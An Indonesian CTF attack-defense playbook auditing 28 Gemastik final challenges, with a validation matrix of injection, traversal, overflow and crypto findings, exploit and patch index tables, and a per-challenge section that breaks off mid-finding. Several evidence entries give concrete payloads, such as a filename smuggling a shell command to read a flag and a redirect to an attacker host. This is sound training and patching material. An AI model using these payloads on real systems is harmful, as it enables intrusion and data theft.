GEMASTIK XVI–XVIII · 2023–2025

Attack–Defense Master Playbook

Source-to-Sink & Patching Reference

Edisi lengkap hasil audit source code untuk **28 challenge final Gemastik 2023–2025**. Semua temuan, analisis source-to-sink, root cause, langkah exploit, payload, patch before/after, dan verifikasi patch disertakan tanpa pemotongan konten.

CHALLENGES	FINDINGS	VALID
28	44	38

PARTIALLY VALID	INVALID	UNVERIFIED
1	3	2

Cakupan: 28 challenge · 44 finding · 39 exploit reference · 44 patch reference
Sumber: source code challenge, official exploit/writeup sebagai bukti pendukung, dan pengujian lokal terbatas
Edisi: PDF statis · 11 November 2026

> **Struktur setiap finding:** Source-to-Sink → Root Cause → Syntax / Code Walkthrough → Validity Evidence → Attack Scenario / Steps → Payload / Command → Patch Before/After → Patch Verification.

Dokumen ini adalah versi cetak dari **Gemastik Attack–Defense Master Playbook**. Gunakan hanya pada lab lokal atau target yang diizinkan. Jangan menjalankan exploit terhadap sistem publik.

Daftar Isi

28 challenge · 44 finding. Nama challenge dapat diklik pada PDF viewer yang mendukung link internal.

#	Challenge	Kategori / Stack	Findings
2025 — GEMASTIK XVIII			
1	**blogpost**	Web · Python / Flask + SQLite	3 · 2 VALID, 1 INVALID
2	**cdn**	Web · Python / Flask + exiftool	2 · 2 VALID
3	**phew**	Crypto · Python (Paillier-like Crypto)	1 · 1 VALID
4	**sheesh**	Crypto · Python / PyCryptodome (AES)	1 · 1 VALID
5	**carbeat**	Pwn · C++ (OOP & Custom Heap List)	1 · 1 VALID
6	**warmup**	Web · Go (net/http)	1 · 1 VALID
2024 — GEMASTIK XVII			
7	**anti-alchemy**	Web · Python / Flask + PostgreSQL	1 · 1 VALID
8	**asmr**	Pwn · Python + Unicorn Engine + ctypes (libc)	2 · 1 VALID, 1 INVALID
9	**bit-canvas**	Pwn · C (CLI Binary)	3 · 2 VALID, 1 INVALID
10	**fjb**	Web · Lua (Apache mod_lua) + C Module (kauth)	2 · 2 VALID
11	**gift-card**	Crypto · Python (CLI Shop)	1 · 1 VALID
12	**gift-voucher**	Crypto · Python / RSA	2 · 1 VALID, 1 UNVERIFIED
13	**gleam-drive**	Web · Gleam / Erlang + SQLite	3 · 3 VALID
14	**go-green**	Logic · Go (CLI Binary)	1 · 1 VALID
15	**kode-viewer**	Web · TypeScript / NestJS + Redis	3 · 2 VALID, 1 UNVERIFIED
16	**more-less**	Web · Python / FastAPI + PyYAML	1 · 1 VALID
17	**tempest-poc**	Web · Python / Tornado + Nginx Reverse Proxy	4 · 3 VALID, 1 PARTIALLY VALID
18	**ticketer**	Crypto · Python / Custom ECDSA (secp256k1)	1 · 1 VALID
2023 — GEMASTIK XVI			
19	**art**	Web · Ruby / Sinatra + Slim Template	1 · 1 VALID
20	**back-to-basic**	Pwn · C (CLI Binary)	1 · 1 VALID
21	**burvesigner**	Crypto · Python / Custom ECDSA	1 · 1 VALID
22	**crawlback**	Web · PHP (cURL)	1 · 1 VALID
23	**gemas-fetcher**	Web · Python / BlackSheep Web Framework	1 · 1 VALID
24	**gemas-notes**	Web · Go (Note Service) + Python FastAPI (Validation Service) + MySQL	2 · 2 VALID
25	**hirnfick**	Pwn · C Binary + Python FastAPI Wrapper	1 · 1 VALID
26	**pasta**	Crypto · Python / Flask + ecdsa	1 · 1 VALID
27	**s3**	Web · Python / Flask	1 · 1 VALID
28	**xl**	Web · TypeScript / NestJS + SheetJS (xlsx)	1 · 1 VALID

Bagian awal: Fondasi Source-to-Sink · Audit Snapshot & Validation Matrix · Exploit & Patch Index

FONDASI CEPAT SEBELUM BACA CHALL

Dokumen ini adalah edisi PDF statis; seluruh temuan, payload, patch, dan referensi artefak disertakan.

Cara Membaca Source Code & Menemukan Celah dalam 3 Langkah

Saat lomba Attack–Defense dimulai, jangan baca kode dari baris 1 sampai habis seperti membaca novel. Gunakan kacamata **Source-to-Sink**: cari dari mana input luar masuk (**Source**), lihat bagaimana data itu diubah/ditempel (**Transform**), dan temukan fungsi kritis yang mengeksekusinya (**Sink**).

1. SOURCE Titik Masuk Input User

Semua data yang berasal dari luar server dan bisa diubah sesuka hati oleh attacker:

- `Flask: request.args, request.form, file.filename`
- `Go: r.URL.Query().Get(), fmt.Scanln()`
- `NestJS/TS: @Query(), @Body(), @Param()`
- `PHP/Ruby: $_POST, $_GET, params[:word]`
- `C/C++: fgets(), scanf(), cin.getline()`

2. TRANSFORM Perjalanan & Penggabungan Data

Bagaimana program mengolah input tadi sebelum masuk ke fungsi berbahaya:

- `Gabung string: f"...", fmt.Sprintf(), +`
- `Gabung path: os.path.join(), filepath.Join()`
- `Ganti isi template: .replace("{{...}}", input)`
- `Hitung angka: cost = cost + price, money -= donate`
- `Nonce/Key: int(time()) atau H(username)`

3. SINK Fungsi Eksekusi Berbahaya

Titik tempat meledaknya vulnerability jika kemasukan input mentah:

- `Shell/OS: os.system(), subprocess(shell=True)`
- `Database: db.executescript(), db.Get(sprintf)`
- `File: open(), ioutil.ReadFile(), xlsx.read()`
- `Template: render_template_string(), Slim::Template`
- `Memory C: strcpy(), fgets(buf, 200), memmove()`

SOURCE-AUDITED SNAPSHOT

Validation Matrix: What Survived the Audit

Setiap temuan dinilai dari source code, exploit resmi/writeup sebagai bukti pendukung, dan pengujian lokal bila memungkinkan. Status bukan klaim marketing: **INVALID** berarti klaim lama tidak didukung source, **UNVERIFIED** berarti belum ada bukti yang cukup.

CHALLENGES	FINDINGS	VALID
28	44	38

PARTIALLY VALID	INVALID	UNVERIFIED
1	3	2

CHALLENGE	FINDING	STATUS	SEVERITY	CONF.	CWE	EVIDENCE
blogpost (2025)	Celah 1: Command Injection & Path Traversal pada Upload Gambar	VALID	Critical	High	CWE-78	Source review: `create_post()` assigns `original_filename = file.filename`, builds `save_path` with `os.path.join`, and calls `os.system(f"exiftool {save_path} > ...")`. `allowed_file()` only checks the substring after the last dot, so `pwn.jpg;cat /flag.txt > static/leak.txt;#.jpg` passes while the shell executes the `cat` command. The import of `secure_filename` is unused.
blogpost (2025)	Celah 2: Stacked SQL Injection lewat Metadata Gambar	VALID	High	High	CWE-89	Source review: `metadata_text` is the raw stdout of `exiftool`, concatenated into `UPDATE posts SET metadata = '{metadata_text}' WHERE id = {post_id};`, then passed to `db.executescript()`. `executescript` permits stacked statements; the comment `--` removes the trailing quote/WHERE. The uploaded image metadata is attacker-controlled.
blogpost (2025)	Celah 3: Server-Side Template Injection (SSTI) di Halaman /profile	INVALID	Info	High	N/A	`templates/profile.html` uses `{{ user['username'] }}` (bracket notation), while `app.py` calls `profile_template.replace("{{ user.username }}", username)` (dot notation). The replace is a no-op, so the username is never inserted into the template source. Jinja2 renders the database value as an autoescaped variable; `{{7*7}}` is displayed literally, not evaluated.

CHALLENGE	FINDING	STATUS	SEVERITY	CONF.	CWE	EVIDENCE
cdn (2025)	Celah 1: SSTI lewat Metadata EXIF Gambar (File Name / Date Created)	VALID	Critical	High	CWE-1336	Source review: `view_post()` extracts `Date Created` from exiftool output, builds `metadata_snippet_html` with the raw value, replaces `{{ metadata_snippet or '' }}` in `view_post.html`, and calls `render_template_string(page_src, post=post)`. The value is attacker-controlled metadata, not a template variable. The malformed XMP date is still printed by exiftool as `Date Created: <payload>` (verified locally with exiftool 12.76), so the Jinja expression is compiled as part of the template.
cdn (2025)	Celah 2: Open Redirect pada Parameter next	VALID	Medium	High	CWE-601	Source review: `login()` accepts `next` and only checks `next_url.startswith('/')`. A protocol-relative URL such as `//evil.example` starts with `/`, so it passes and Flask returns it as the redirect target; browsers interpret `//evil.example` as an external host.
phew (2025)	Decryption Oracle + Affine Obfuscation pada Paillier	VALID	High	High	CWE-330	Source review plus the published solver (HowToBeASepuh) and a local pure-Python simulation: `decrypt()` returns `alpha[idx]*raw + beta[idx] mod n`, menu 4 returns `Enc(key)`, and menu 3 decrypts arbitrary ciphertexts. The affine oracle leaks `n` via `gcd(d3-3*d1+2*beta1)`, factors `n` via `gcd(decrypt(encrypt(1))-beta1,n)`, and the `Enc(key)` cube/difference leaks the key modulo each prime; CRT reconstructs the 66-byte key.
sheesh (2025)	Celah 1 & 2: AES Encryption Oracle (K1 Reuse) + CBC Padding Oracle (K0)	VALID	High	High	CWE-649	Source review plus a local end-to-end simulation: `encI` uses the same K1 as `enc3`, so `MK` is derivable from the printed IV; `C()` returns `ok`/`no` for arbitrary CBC blobs with only 8% noise. The simulation recovered a known `GEMASTIK18{...}` flag exactly, including the `H1/H0` XOR construction and the noisy-oracle scoring.
carbeat (2025)	Partial free-pointer overwrite in edit_karbit() -> heap corruption -> RCE	VALID	Critical	High	CWE-121	Source review and local execution: `edit_karbit()` reads 0x20 bytes into `char karbit[20]`; `MyKisah` follows the base class, so `free` is at offset 24. The official exploit and a local run returned `PWNED_1000`; the checkpoint test confirmed the partial overwrite path. The original binary needed `chmod +x` on a copy; the workspace source was not modified.
warmup (2025)	Path Traversal / Arbitrary File Read (LFI)	VALID	High	High	CWE-22	Source review: `filepath.Join("/opt/files/", filename)` cleans the path, so `../../flag.txt` becomes `/flag.txt`; `ioutil.ReadFile` then reads it and writes the contents to the response.
anti-alchemy (2024)	Type Confusion pada JSON Nested Object -> SQL Injection	VALID	Critical	High	CWE-89	Source review plus the published writeup chain (lordrukie): `_sanitize()` checks `if c in q` before `str(q)`, so a nested dict `{"": "'..."}` is not a string and the quote is not doubled; `str(q)` later injects it into the SQL. The `/api/view` stacked query leaks the `salt` table; the `/api/login` UNION controls the username and SHA1 hash, and `check_password_hash` accepts the attacker's password.

CHALLENGE	FINDING	STATUS	SEVERITY	CONF.	CWE	EVIDENCE
asmr (2024)	Unchecked allocation/copy size -> host heap OOB read/write (RCE primitive)	VALID	High	Medium	CWE-787	Source review confirms the missing size metadata. Local tests reproduced unchecked OOB write/corruption (`0x20` bytes past a 16-byte chunk caused glibc `double free or corruption (out)`). Full RCE depends on the host libc/heap layout; the official gist PoC demonstrates it, but this audit did not reproduce a shell locally. Status VALID for the memory-safety vulnerability; RCE confidence Medium.
asmr (2024)	Negative array index via signed rdi (claimed)	INVALID	Info	High	N/A	`uc.reg_read()` returns an unsigned value; `notes[idx]` with a negative Python index is not reachable from the guest. The claim is not supported by the source or by local tests.
bit-canvas (2024)	Unchecked canvas index -> debug toggle + stack flag leak	VALID	High	High	CWE-125	Source review and exact local exploit validation: the admin branch reads `/flag.txt` into `char flag[43]`; `canvas[x]` is unchecked; `x=27,y=0` toggles `debug`; negative `x` values read the flag bits through the debug print. The existing `resize=50` claim was tested and is false (the print loop reads `canvas[i]`, not the flag buffer).
bit-canvas (2024)	Stack buffer overflow via scanf("%s", buffer)	VALID	High	High	CWE-121	Source review and local execution: `char buffer[43]; scanf("%s", buffer);` is an unbounded stack write. A direct local run with a 512-byte password exited 134 with `*** stack smashing detected ***: terminated`. The remote script asserts success only when the service forwards a crash marker; otherwise a clean exit and a post-`bye` canary abort look identical. A full ROP chain was not developed in this audit.
bit-canvas (2024)	resize=50 leaks the flag (claimed)	INVALID	Info	High	N/A	Local test: `resize=50` prints additional canvas words but not the flag bytes. The flag leak was reproduced with the negative-index/debug technique documented above.
fjb (2024)	Celah 1: Struct Buffer Overflow di Modul C kauth.c (Forging User ID)	VALID	Critical	High	CWE-121	Source review: `struct kauth_user { char name[128]; unsigned long long id; unsigned long long exp; }`; `encode()` does `strcpy((char *)claim.name, name)` with no length check. A 129-byte username overwrites `id` with 1. `decode()` verifies the HMAC over the already-corrupted struct, so the token is valid. The admin catalog item is returned by `/api/catalog/me` when `kauth_id=1`.
fjb (2024)	Celah 2: Integer Overflow pada Perhitungan Total Harga Checkout	VALID	High	Medium	CWE-190	Source review: `checkout.lua` starts `cost = 0x0` and does `cost = cost + items[i].price` with no overflow check, then `if wallet < cost`. A price near 2^63 makes the sum wrap negative, bypassing the balance check; the checkout response returns `items` with `valuable` populated. The two-account constraint is enforced by `add_to_cart` (`cant add your own item to cart`). Local DB is empty, so the full chain is source-level plus the published writeup; status VALID, confidence Medium.

CHALLENGE	FINDING	STATUS	SEVERITY	CONF.	CWE	EVIDENCE
gift-card (2024)	Stateless Checksum-Only Giftcard (Tanpa Secret / Tanpa MAC)	VALID	High	High	CWE-345	Source review and local execution: `validate_giftcard()` only checks `len(signature)==16` and `sum(signature)%256 == Hm`, where `Hm = sum(name)%256`. There is no secret and no MAC. A card of 15 zero bytes plus `Hm` is always valid; the first redeem returned `$53` in the local test. Repeating with unique cards reaches the 420 balance.
gift-voucher (2024)	Base64 Non-Canonical Replay Attack	VALID	Medium	High	CWE-345	Source review and local execution: `redeem_voucher()` checks the raw string against `self.redeemed_voucher`, then `base64.b64decode()` ignores non-alphabet characters such as `!`. Inserting `!` at a new position produces a different raw string that decodes to the same RSA voucher, so the replay check is bypassed. The local test redeemed a mutated voucher successfully.
gift-voucher (2024)	Raw RSA malleability forgery (claimed)	UNVERIFIED	Low	Low	N/A	Source review shows textbook RSA, but the prefix/suffix checks make a blind multiplicative forgery impractical. No local or published exploit was found; status UNVERIFIED, not counted as a confirmed vulnerability.
gleam-drive (2024)	Celah 1: Path Traversal pada Upload & Urutan Insert DB Sebelum Simpan File	VALID	High	High	CWE-22	Source review: `service.upload()` builds `filepath.join(user_dir, file.file_name)` without a basename check, calls `repository.create_upload()` first, then `util.upload_file()`. The write to `/flag.txt` fails because the file exists, but the DB row remains. `handle_details` joins the same traversal path, and `send_file` serves `shared.filepath` after checking only the recipient email.
gleam-drive (2024)	AES-128-ECB session/share tokens without integrity (key readable via traversal)	VALID	High	Medium	CWE-347	Source review: `crypto_ffi.erl` uses AES-128-ECB with no authentication; `config.aes_key()` reads `.aes-key` from the working directory. The traversal primitive can read arbitrary files, including the key if the relative path is known. Token forgery then follows from the key. Confidence Medium because the exact key path depends on the deployment cwd; the missing-MAC design flaw is certain.
gleam-drive (2024)	Reflected/stored XSS via unescaped error and filename rendering	VALID	Medium	High	CWE-79	Source review: `render_error_html` and `render_detail_html` use raw `string.replace` into HTML templates with no escaping. The `/error` endpoint takes `message` directly from the query string.
go-green (2024)	Missing Negative Number Validation (Donasi Negatif Menambah Uang)	VALID	Medium	High	CWE-20	Source review and local execution: `fmt.Scanln(&donate)` accepts a negative integer; only `donate > money` is checked, so `-2000` is accepted and `money -= donate` increases the balance to 2420. A subsequent donation of 1337 satisfies `donate >= 1337` and prints the flag.
kode-viewer (2024)	Redis glob injection via wildcard email -> list all snippets	VALID	High	High	CWE-1333	Source review and published writeup: the DTO accepts any non-empty string; `list()` concatenates the email into a Redis glob. Email `*` yields `kode-*-*`, returning all keys. The writeup confirms the wildcard email and full listing.

CHALLENGE	FINDING	STATUS	SEVERITY	CONF.	CWE	EVIDENCE
kode-viewer (2024)	Payload email/isAdmin overwrite in create() (claimed)	UNVERIFIED	Low	Low	N/A	Source review: the object override is real, but it does not affect `AuthGuard`/session data or the Redis key. No admin seed or local test demonstrated privilege escalation; status UNVERIFIED.
kode-viewer (2024)	IDOR: GET /kode/:id reads any snippet key without ownership/private check	VALID	High	High	CWE-639	Source review: `KodeController.get()` calls `show(params.id)` with no user argument; `KodeService.show()` returns `kv.get(key)` directly. No ownership or private check exists. The wildcard-email listing provides the exact key.
more-less (2024)	Unsafe YAML Deserialization -> Remote Code Execution (RCE)	VALID	Critical	High	CWE-502	Source review and local execution: `yaml.load(file.file, Loader=Loader)` uses PyYAML's unsafe `Loader`, which constructs arbitrary Python objects. The corrected `!!python/object/apply:subprocess.check_output` payload executed locally; the existing `[[...]]` payload in the old HTML was malformed.
tempest-poc (2024)	WebSocket smuggling through /api/public -> /api/private/report	VALID	High	Medium	CWE-444	Source review plus the published daffainfo PoC: nginx applies the Upgrade headers to the whole `/api/public` prefix; the backend SSRF request to the attacker returns 101; nginx then tunnels raw bytes. The PoC reaches `/api/private/report` and runs `id`. Requires an attacker-controlled 101 server.
tempest-poc (2024)	Tornado SSTI via report_name	VALID	Critical	High	CWE-1336	Source review and published PoC: the raw `report_name` is inserted before `Template()`; the PoC executes `id`. Combined with the smuggling primitive, this gives external RCE.
tempest-poc (2024)	SSRF in /api/public/test via numeric-IP validation bypass	VALID	High	High	CWE-918	Source review: the numeric netloc bypasses `is_local_ip()`; `requests` resolves it to loopback. The published tempest-poc writeup notes that direct localhost is blocked but the endpoint is SSRF-prone. The response code reveals whether the internal port is open.
tempest-poc (2024)	Path traversal in scan_id (limited to .json files)	PARTIALLY VALID	Low	Medium	CWE-22	Source review: traversal is possible, but the `.json` suffix is always appended and `json.load()` must succeed. No local test read `/flag.txt`; status PARTIALLY VALID (limited arbitrary `.json` read).
ticketer (2024)	Deterministic Private Key dari Username Publik + Ticket Refund Replay	VALID	Critical	High	CWE-321	Source review: `pok.keygen(seed)` sets `pk = H(seed)` where `H(m)=int(shake_256(m).digest(128)) % q`; the username is public, so the private key is derivable. Refund checks `ticket_id in issued_tickets and ticket not in used_tickets`; `used_tickets` stores the whole `ticket` string (ID + proof), so re-signing the same ID with a new nonce creates a different string and passes. The balance grows until the FLAG ticket (100) is affordable.
art (2023)	Server-Side Template Injection (SSTI) pada Slim::Template	VALID	Critical	High	CWE-1336	Source review and official exploit: `Slim::Template.new{ '<iframe ... text=' + params[:word] + '></iframe>' }` concatenates the route parameter into the Slim source. The `#{...}` interpolation executes Ruby; the byte array decodes to `/flag.txt`. The official `gemastik-xvi-final/exploits/art/exp.py` returns the flag.

CHALLENGE	FINDING	STATUS	SEVERITY	CONF.	CWE	EVIDENCE
back-to-basic (2023)	Classic Stack Buffer Overflow (ret2libc / ROP)	VALID	Critical	High	CWE-121	Source review, official exploit, and local execution: `fgets(buf, 200, stdin)` writes 200 bytes into `char buf[64]`; the binary is compiled without PIE/canary. The official script leaks `puts@got`, computes the libc base with `puts=0x84420`, and calls `system('/bin/sh')` with `binsh=0x1b45bd`. The same two-stage chain was verified end-to-end on a local rebuild (GCC 13, glibc 2.39, test `cat` shim) in 10/10 runs; that build required an added `pop rdi; ret` gadget, so the original Ubuntu 20.04 offsets remain the reference values.
burvesigner (2023)	Time-Based & Biased ECDSA Nonce k -> Private Key Recovery	VALID	Critical	High	CWE-338	Source review and official exploit: `k = (int(time()*1337) << self.u) + self.v` with a fixed `self.v`; two signatures have a known high-bit difference `(t2-t1) << u`. The official script brute-forces the low 20-bit difference, solves for `k1`, recovers `priv`, and forges `{"user":"admin","role":"admin"}`.
crawlback (2023)	Unrestricted SSRF / Arbitrary File Read via file:// Protocol di cURL	VALID	High	High	CWE-918	Source review and official exploit: `$_POST['url']` is passed directly to `CURLOPT_URL`; cURL supports `file://`. The response is saved in `backups/` and the script redirects to it. The official `gemastik-xvi-final/exploits/crawlback/exp.py` returns the flag.
gemas-fetcher (2023)	URL Parser Bypass (Leading Whitespace CVE-2023-24329) -> Arbitrary File Read	VALID	High	High	CWE-20	Source review and official exploit: `urlparse(data['url']).scheme` sees an empty scheme when the URL starts with a space, so the `file`/`ftp` block is bypassed; `urllib.request.urlopen` strips the space and opens `file:///flag.txt`. The official script registers/logs in, uploads the gzip+zlib JSON blob with the `\x00\x02` prefix, and base64-decodes the response.
gemas-notes (2023)	JSON Parser Differential Bypass + SQL Injection pada GetNotesCount	VALID	Critical	High	CWE-89	Source review and official exploit: the validation service parses the body with Python `json.loads` (last duplicate key wins) while the Go note service uses `jsonparser.GetString` (first duplicate key wins). The clean `hehe` passes validation; the SQLi payload reaches `fmt.Sprintf("SELECT count(*) FROM Notes WHERE %s LIKE '%%%s%%'", key, keyword)`. The official script extracts `rewards.fl4gg` byte-by-byte and returns `GEMASTIK{...}`.
gemas-notes (2023)	IDOR: GET /api/notes/:id has no authentication or ownership check	VALID	High	High	CWE-639	Source review: `main.go` registers `GET /api/notes/:id` without `AuthorizationCheck`; `detailNote` filters only by `Notes.id`. The response includes `content`, `tags`, and author email. This is a confirmed IDOR.
hirnfick (2023)	Out-of-Bounds Pointer (`>` / `<`) & Unbounded Code Read pada Interpreter Brainfuck	VALID	Critical	High	CWE-787	Source review and official exploit: the interpreter has a global `char data[1024]` and `char code[1024]`; `>`/`<` move `p` without bounds, and the code loader writes `*(pc++)` without a limit. The official payload walks the pointer to `puts@GOT`, writes the low bytes of `system`, sets `debug=1`, and uses `if (debug) puts(data)` to execute `cat /flag.txt`.

CHALLENGE	FINDING	STATUS	SEVERITY	CONF.	CWE	EVIDENCE
pasta (2023)	Biased ECDSA Nonce pada Kurva NIST P-521 (Hidden Number Problem / Lattice Attack)	VALID	High	High	CWE-330	Source review and official exploit: v4 uses P-521 (order ~521 bits) but the nonce is `int(hmac_sha512(...).hexdigest(),16)`, only 512 bits. The top ~9 bits are always zero. The official Sage script collects 110 signatures, builds the HNP lattice, runs LLL, recovers the private key, and signs `{"username":"pwned","role":"admin"}`.
s3 (2023)	Absolute Path Behavior pada os.path.join() -> Arbitrary File Read (/flag.txt)	VALID	High	High	CWE-22	Source review and official exploit: `os.path.join('uploads/', '/flag.txt')` returns `/flag.txt` because the second argument is absolute. The only check is `'..' not in filename`, which an absolute path does not need. The official `gemastik-xvi-final/exploits/s3/exp.py` returns the flag.
xl (2023)	Arbitrary File Read (LFI) lewat Injeksi Opsi Query ?type=file pada xlsx.read()	VALID	High	High	CWE-73	Source review and official exploit: `@Query() options` is passed directly to `xlsx.read(file.buffer, options)`. With `type:'file'`, SheetJS interprets the uploaded buffer as a filesystem path and reads `/flag.txt`; the parsed sheets are returned as JSON. The official `xl/play.py` uses a file containing `/flag.txt`.

REPRODUCIBLE ARTIFACTS

Exploit & Patch Index

Script exploit memakai `--host`/`--port` (default localhost) dan memverifikasi sukses dari respons. Patch reference berisi analisis before/after serta langkah verifikasi.

AUDIT_REPORT.md
Metodologi, corrected/invalid/new findings, tested items, limitations.

exploits/
39 recorded exploit references, per-challenge scripts and README.

patches/
44 patch references, before/after guidance and verification checks.

EXPLOIT REFERENCE TABLE

CHALLENGE	FINDING	STATUS	ARTIFACT
blogpost (2025)	Celah 1: Command Injection & Path Traversal pada Upload Gambar	VALID	`exploits/blogpost/exploit.py --vuln cmdi`
blogpost (2025)	Celah 2: Stacked SQL Injection lewat Metadata Gambar	VALID	`exploits/blogpost/exploit.py --vuln sqli`
cdn (2025)	Celah 1: SSTI lewat Metadata EXIF Gambar (File Name / Date Created)	VALID	`exploits/cdn/exploit.py --vuln ssti`
cdn (2025)	Celah 2: Open Redirect pada Parameter next	VALID	`exploits/cdn/exploit.py --vuln redirect`
phew (2025)	Decryption Oracle + Affine Obfuscation pada Paillier	VALID	`exploits/phew/exploit.py`
sheesh (2025)	Celah 1 & 2: AES Encryption Oracle (K1 Reuse) + CBC Padding Oracle (K0)	VALID	`exploits/sheesh/exploit.py`
carbeat (2025)	Partial free-pointer overwrite in edit_karbit() -> heap corruption -> RCE	VALID	`exploits/carbeat/exploit.py`
warmup (2025)	Path Traversal / Arbitrary File Read (LFI)	VALID	`exploits/warmup/exploit.py`
anti-alchemy (2024)	Type Confusion pada JSON Nested Object -> SQL Injection	VALID	`exploits/anti-alchemy/exploit.py`
asmr (2024)	Unchecked allocation/copy size -> host heap OOB read/write (RCE primitive)	VALID	`exploits/asmr/exploit.py --vuln read`
bit-canvas (2024)	Unchecked canvas index -> debug toggle + stack flag leak	VALID	`exploits/bit-canvas/exploit.py --vuln leak`

CHALLENGE	FINDING	STATUS	ARTIFACT
bit-canvas (2024)	Stack buffer overflow via scanf("%s", buffer)	VALID	`exploits/bit-canvas/exploit.py --vuln overflow`
fjb (2024)	Celah 1: Struct Buffer Overflow di Modul C kauth.c (Forging User ID)	VALID	`exploits/fjb/exploit.py --vuln overflow`
fjb (2024)	Celah 2: Integer Overflow pada Perhitungan Total Harga Checkout	VALID	`exploits/fjb/exploit.py --vuln intoverflow`
gift-card (2024)	Stateless Checksum-Only Giftcard (Tanpa Secret / Tanpa MAC)	VALID	`exploits/gift-card/exploit.py`
gift-voucher (2024)	Base64 Non-Canonical Replay Attack	VALID	`exploits/gift-voucher/exploit.py`
gleam-drive (2024)	Celah 1: Path Traversal pada Upload & Urutan Insert DB Sebelum Simpan File	VALID	`exploits/gleam-drive/exploit.py --vuln traversal`
gleam-drive (2024)	AES-128-ECB session/share tokens without integrity (key readable via traversal)	VALID	`exploits/gleam-drive/exploit.py --vuln key`
gleam-drive (2024)	Reflected/stored XSS via unescaped error and filename rendering	VALID	`exploits/gleam-drive/exploit.py --vuln xss`
go-green (2024)	Missing Negative Number Validation (Donasi Negatif Menambah Uang)	VALID	`exploits/go-green/exploit.py`
kode-viewer (2024)	Redis glob injection via wildcard email -> list all snippets	VALID	`exploits/kode-viewer/exploit.py --vuln enum`
kode-viewer (2024)	IDOR: GET /kode/:id reads any snippet key without ownership/private check	VALID	`exploits/kode-viewer/exploit.py --vuln idor`
more-less (2024)	Unsafe YAML Deserialization -> Remote Code Execution (RCE)	VALID	`exploits/more-less/exploit.py`
tempest-poc (2024)	WebSocket smuggling through /api/public -> /api/private/report	VALID	`exploits/tempest-poc/exploit.py --vuln smuggle`
tempest-poc (2024)	Tornado SSTI via report_name	VALID	`exploits/tempest-poc/exploit.py --vuln smuggle`
tempest-poc (2024)	SSRF in /api/public/test via numeric-IP validation bypass	VALID	`exploits/tempest-poc/exploit.py --vuln ssrf`
tempest-poc (2024)	Path traversal in scan_id (limited to .json files)	PARTIALLY VALID	`exploits/tempest-poc/exploit.py --vuln traversal`
ticketer (2024)	Deterministic Private Key dari Username Publik + Ticket Refund Replay	VALID	`exploits/ticketer/exploit.py`
art (2023)	Server-Side Template Injection (SSTI) pada Slim::Template	VALID	`exploits/art/exploit.py`
back-to-basic (2023)	Classic Stack Buffer Overflow (ret2libc / ROP)	VALID	`exploits/back-to-basic/exploit.py`
burvesigner (2023)	Time-Based & Biased ECDSA Nonce k -> Private Key Recovery	VALID	`exploits/burvesigner/exploit.py`
crawlback (2023)	Unrestricted SSRF / Arbitrary File Read via file:// Protocol di cURL	VALID	`exploits/crawlback/exploit.py`

CHALLENGE	FINDING	STATUS	ARTIFACT
gemas-fetcher (2023)	URL Parser Bypass (Leading Whitespace CVE-2023-24329) -> Arbitrary File Read	VALID	`exploits/gemas-fetcher/exploit.py`
gemas-notes (2023)	JSON Parser Differential Bypass + SQL Injection pada GetNotesCount	VALID	`exploits/gemas-notes/exploit.py --vuln sqli`
gemas-notes (2023)	IDOR: GET /api/notes/:id has no authentication or ownership check	VALID	`exploits/gemas-notes/exploit.py --vuln idor`
hirnfick (2023)	Out-of-Bounds Pointer (`>` / `<`) & Unbounded Code Read pada Interpreter Brainfuck	VALID	`exploits/hirnfick/exploit.py`
pasta (2023)	Biased ECDSA Nonce pada Kurva NIST P-521 (Hidden Number Problem / Lattice Attack)	VALID	`exploits/pasta/exploit.py`
s3 (2023)	Absolute Path Behavior pada os.path.join() -> Arbitrary File Read (/flag.txt)	VALID	`exploits/s3/exploit.py`
xl (2023)	Arbitrary File Read (LFI) lewat Injeksi Opsi Query ?type=file pada xlsx.read()	VALID	`exploits/xl/exploit.py`

PATCH REFERENCE TABLE

CHALLENGE	COVERAGE	PATCH REFERENCE
blogpost (2025)	3 finding(s)	`patches/blogpost/PATCH.md`
cdn (2025)	2 finding(s)	`patches/cdn/PATCH.md`
phew (2025)	1 finding(s)	`patches/phew/PATCH.md`
sheesh (2025)	1 finding(s)	`patches/sheesh/PATCH.md`
carbeat (2025)	1 finding(s)	`patches/carbeat/PATCH.md`
warmup (2025)	1 finding(s)	`patches/warmup/PATCH.md`
anti-alchemy (2024)	1 finding(s)	`patches/anti-alchemy/PATCH.md`
asmr (2024)	2 finding(s)	`patches/asmr/PATCH.md`
bit-canvas (2024)	3 finding(s)	`patches/bit-canvas/PATCH.md`
fjb (2024)	2 finding(s)	`patches/fjb/PATCH.md`
gift-card (2024)	1 finding(s)	`patches/gift-card/PATCH.md`
gift-voucher (2024)	2 finding(s)	`patches/gift-voucher/PATCH.md`
gleam-drive (2024)	3 finding(s)	`patches/gleam-drive/PATCH.md`
go-green (2024)	1 finding(s)	`patches/go-green/PATCH.md`
kode-viewer (2024)	3 finding(s)	`patches/kode-viewer/PATCH.md`
more-less (2024)	1 finding(s)	`patches/more-less/PATCH.md`
tempest-poc (2024)	4 finding(s)	`patches/tempest-poc/PATCH.md`

CHALLENGE	COVERAGE	PATCH REFERENCE
ticketer (2024)	1 finding(s)	patches/ticketer/PATCH.md
art (2023)	1 finding(s)	patches/art/PATCH.md
back-to-basic (2023)	1 finding(s)	patches/back-to-basic/PATCH.md
burvesigner (2023)	1 finding(s)	patches/burvesigner/PATCH.md
crawlback (2023)	1 finding(s)	patches/crawlback/PATCH.md
gemas-fetcher (2023)	1 finding(s)	patches/gemas-fetcher/PATCH.md
gemas-notes (2023)	2 finding(s)	patches/gemas-notes/PATCH.md
hirnfick (2023)	1 finding(s)	patches/hirnfick/PATCH.md
pasta (2023)	1 finding(s)	patches/pasta/PATCH.md
s3 (2023)	1 finding(s)	patches/s3/PATCH.md
xl (2023)	1 finding(s)	patches/xl/PATCH.md

Gemastik 2025 | Web | Python / Flask + SQLite | 2 VALID | 1 INVALID

1. blogpost

Primary Source File:

`gemastik18-final/services/blogpost/chall/app.py`

APA YANG DILAKUKAN SERVICE INI?

Aplikasi blog tempat user bisa register, login, dan membuat postingan dengan gambar. Saat gambar di-upload, server memanggil program exiftool di terminal untuk mengambil metadata gambar dan menyimpannya ke database. Halaman /profile menampilkan flag jika role user adalah admin.

FINDING 1 OF 3

Celah 1: Command Injection & Path Traversal pada Upload Gambar

VALID | Critical | Confidence: High

STATUS	SEVERITY
VALID	Critical

CWE	EXPLOIT ARTIFACT
CWE-78	`exploits/blogpost/exploit.py --vuln cmdi`

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

`file.filename (nama file gambar dari multipart upload request.files['image'])`

TRANSFORM (Processing) — Path

